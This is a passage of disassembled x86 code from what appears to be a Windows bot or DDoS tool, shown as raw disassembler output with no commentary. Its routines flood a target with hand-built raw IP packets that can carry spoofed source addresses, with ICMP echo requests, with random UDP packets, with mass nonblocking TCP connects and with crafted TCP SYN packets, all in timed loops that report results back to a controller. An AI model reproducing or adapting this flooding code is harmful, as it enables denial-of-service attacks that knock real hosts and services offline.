		jnz	short loc_411949
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_411949:				; CODE XREF: sub_411854+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_411966:				; CODE XREF: sub_411854+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4C983C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4119CD
		lea	eax, [ebp+var_3BC]
		push	offset unk_436ED8
		push	eax
		call	sub_417D96
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4119B0
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_4119B0:				; CODE XREF: sub_411854+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_4119CD:				; CODE XREF: sub_411854+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4C9800	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4C983C	; inet_addr
		mov	esi, dword_4230A8
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_411A0B:				; CODE XREF: sub_411854+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_411BB6
		push	41Ch
		mov	byte_4CC570, 45h
		call	dword_4C9800	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4CC572, ax
		mov	word_4CC574, bx
		mov	word_4CC576, di
		mov	byte_4CC578, 80h
		mov	byte_4CC579, bl
		mov	word_4CC57A, di
		jz	short loc_411A91
		call	sub_417DF2
		mov	ebx, eax
		shl	ebx, 8
		call	sub_417DF2
		add	ebx, eax
		shl	ebx, 8
		call	sub_417DF2
		add	ebx, eax
		shl	ebx, 8
		call	sub_417DF2
		add	ebx, eax
		push	1
		mov	dword_4CC57C, ebx
		pop	ebx
		jmp	short loc_411AA9
; ---------------------------------------------------------------------------


loc_411A91:				; CODE XREF: sub_411854+20Bj
		push	[ebp+var_1BC]
		call	sub_409D1D
		pop	ecx
		push	eax
		call	dword_4C983C	; inet_addr
		mov	dword_4CC57C, eax


loc_411AA9:				; CODE XREF: sub_411854+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4CC580, eax
		call	sub_417DF2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CC584, dl
		call	sub_417DF2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CC585, dl
		call	sub_417DF2
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4CC586, di
		mov	word_4CC58A, bx
		inc	edx
		mov	word_4CC588, dx
		call	sub_417DF2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4CC58C
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4CC570
		push	[ebp+var_4]
		call	dword_4C9860	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411B41
		inc	[ebp+arg_0]
		jmp	loc_411A0B
; ---------------------------------------------------------------------------


loc_411B41:				; CODE XREF: sub_411854+2E3j
		push	[ebp+var_4]
		call	dword_4C9894	; closesocket
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_436E90
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_411B99
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_411B99:				; CODE XREF: sub_411854+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_411BB6:				; CODE XREF: sub_411854+1C8j
		push	[ebp+var_4]
		call	dword_4C9894	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_436E44
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_411C1E
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_411C1E:				; CODE XREF: sub_411854+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread
sub_411854	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C3B	proc near		; DATA XREF: sub_401AC7+4C3Bo

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_4C9790	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4C983C	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_411C96
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4C9880	; gethostbyname
		cmp	eax, ebx
		jz	short loc_411C9C


loc_411C96:				; CODE XREF: sub_411C3B+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_411CF9


loc_411C9C:				; CODE XREF: sub_411C3B+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_436F80
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_411CDC
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_408C5D
		add	esp, 14h


loc_411CDC:				; CODE XREF: sub_411C3B+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_413B5E
		push	[ebp+var_30]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_411CF9:				; CODE XREF: sub_411C3B+5Fj
		cmp	eax, ebx
		jz	short loc_411D09
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_411D0C
; ---------------------------------------------------------------------------


loc_411D09:				; CODE XREF: sub_411C3B+C0j
		mov	[ebp+var_4], esi


loc_411D0C:				; CODE XREF: sub_411C3B+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417AA0
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_411D2C
		mov	[ebp+var_3C], eax


loc_411D2C:				; CODE XREF: sub_411C3B+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_411D34
		mov	[ebp+var_38], edi


loc_411D34:				; CODE XREF: sub_411C3B+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_411D61


loc_411D3B:				; CODE XREF: sub_411C3B+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4C9728	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_411D3B


loc_411D61:				; CODE XREF: sub_411C3B+FEj
		push	[ebp+arg_0]
		call	dword_4C98B4	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_436F54
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_411DAA
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_408C5D
		add	esp, 14h


loc_411DAA:				; CODE XREF: sub_411C3B+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_413B5E
		push	[ebp+var_30]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread
sub_411C3B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC7	proc near		; DATA XREF: sub_401AC7+4E84o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4C987C	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4C983C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_411EAC
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4C9880	; gethostbyname
		cmp	eax, edi
		jnz	short loc_411EA5
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_436FD4
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_411E88
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_408C5D
		add	esp, 14h


loc_411E88:				; CODE XREF: sub_411DC7+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_413B5E
		push	[ebp+var_20]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread


loc_411EA5:				; CODE XREF: sub_411DC7+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_411EAF
; ---------------------------------------------------------------------------


loc_411EAC:				; CODE XREF: sub_411DC7+6Ej
		lea	eax, [ebp+arg_0]


loc_411EAF:				; CODE XREF: sub_411DC7+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_411ECA
		call	sub_417DF2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_411ECD
; ---------------------------------------------------------------------------


loc_411ECA:				; CODE XREF: sub_411DC7+F0j
		push	[ebp+var_24]


loc_411ECD:				; CODE XREF: sub_411DC7+101j
		call	dword_4C9800	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_411EDF
		mov	[ebp+var_24], esi


loc_411EDF:				; CODE XREF: sub_411DC7+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_411EEC
		mov	[ebp+var_24], eax


loc_411EEC:				; CODE XREF: sub_411DC7+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_411F00
		mov	[ebp+var_28], esi


loc_411F00:				; CODE XREF: sub_411DC7+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_411F21


loc_411F07:				; CODE XREF: sub_411DC7+158j
		call	sub_417DF2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_411F07


loc_411F21:				; CODE XREF: sub_411DC7+13Ej
					; sub_411DC7+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_411F80
		push	0Bh
		pop	esi


loc_411F2E:				; CODE XREF: sub_411DC7+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4C9860	; sendto
		push	[ebp+var_28]
		call	dword_423078	; Sleep
		dec	esi
		jnz	short loc_411F2E
		cmp	[ebp+var_24], edi
		jnz	short loc_411F21
		call	sub_417DF2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4C9800	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_411F21
; ---------------------------------------------------------------------------


loc_411F80:				; CODE XREF: sub_411DC7+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_436FA8
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_411FC0
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_408C5D
		add	esp, 14h


loc_411FC0:				; CODE XREF: sub_411DC7+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_413B5E
		push	[ebp+var_20]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread
sub_411DC7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FDD	proc near		; DATA XREF: sub_401AC7+4512o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_41213B
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_436FFC
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_41205A
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408C5D
		add	esp, 14h


loc_41205A:				; CODE XREF: sub_411FDD+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_411FDD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412079	proc near		; CODE XREF: sub_41213B+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4C9800	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_412137
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_4120C4:				; CODE XREF: sub_412079+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4120CC:				; CODE XREF: sub_412079+7Aj
		push	0
		push	1
		push	2
		call	dword_423204	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4120EF
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4231DC	; ioctlsocket


loc_4120EF:				; CODE XREF: sub_412079+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4120CC
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4120FD:				; CODE XREF: sub_412079+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_4231F8	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_4120FD
		push	64h
		call	dword_423078	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_412121:				; CODE XREF: sub_412079+B4j
		push	dword ptr [esi]
		call	dword_423200	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_412121
		dec	[ebp+arg_4]
		jnz	short loc_4120C4
		pop	edi
		pop	esi
		pop	ebx


loc_412137:				; CODE XREF: sub_412079+3Ej
		xor	eax, eax
		leave
		retn
sub_412079	endp


; =============== S U B	R O U T	I N E =======================================



sub_41213B	proc near		; CODE XREF: sub_411FDD+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409C07
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_417C89
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_417C89
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_412079
		add	esp, 18h
		test	eax, eax
		jnz	short loc_412171
		push	1
		pop	eax


loc_412171:				; CODE XREF: sub_41213B+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_41213B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412180	proc near		; DATA XREF: sub_401AC7+5B72o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4124CE
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437028
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4121FD
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408C5D
		add	esp, 14h


loc_4121FD:				; CODE XREF: sub_412180+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_412180	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41221C	proc near		; CODE XREF: sub_4124CE+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4C977C	; WSAStartup
		test	eax, eax
		jz	short loc_41225C
		xor	eax, eax
		jmp	loc_4124CA
; ---------------------------------------------------------------------------


loc_41225C:				; CODE XREF: sub_41221C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4C98A0	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_4124C2
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4C97E0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4124B8
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4C9800	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4C9800	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4C9800	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4C9800	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_423130	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_42312C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_419780
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_412347:				; CODE XREF: sub_41221C+25Dj
					; sub_41221C+26Bj
		mov	[ebp+var_24], bx
		call	sub_417DF2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4C9800	; htons
		mov	[ebp+var_34], ax
		call	sub_417DF2
		mov	edi, eax
		shl	edi, 10h
		call	sub_417DF2
		or	edi, eax
		push	edi
		call	dword_4C9800	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4C97FC	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4C9800	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_409D76
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_409D76
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4C9860	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41248C
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_42312C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_4124B5
		jl	loc_412347
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_4124B5
		jmp	loc_412347
; ---------------------------------------------------------------------------


loc_41248C:				; CODE XREF: sub_41221C+247j
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_437050
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_413B5E
		add	esp, 10h
		jmp	short loc_4124B8
; ---------------------------------------------------------------------------


loc_4124B5:				; CODE XREF: sub_41221C+25Bj
					; sub_41221C+269j
		mov	ebx, [ebp+arg_8]


loc_4124B8:				; CODE XREF: sub_41221C+78j
					; sub_41221C+297j
		push	[ebp+var_C]
		call	dword_4C9894	; closesocket
		pop	esi


loc_4124C2:				; CODE XREF: sub_41221C+5Bj
		call	dword_4C9764	; WSACleanup
		mov	eax, ebx


loc_4124CA:				; CODE XREF: sub_41221C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41221C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124CE	proc near		; CODE XREF: sub_412180+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409C07
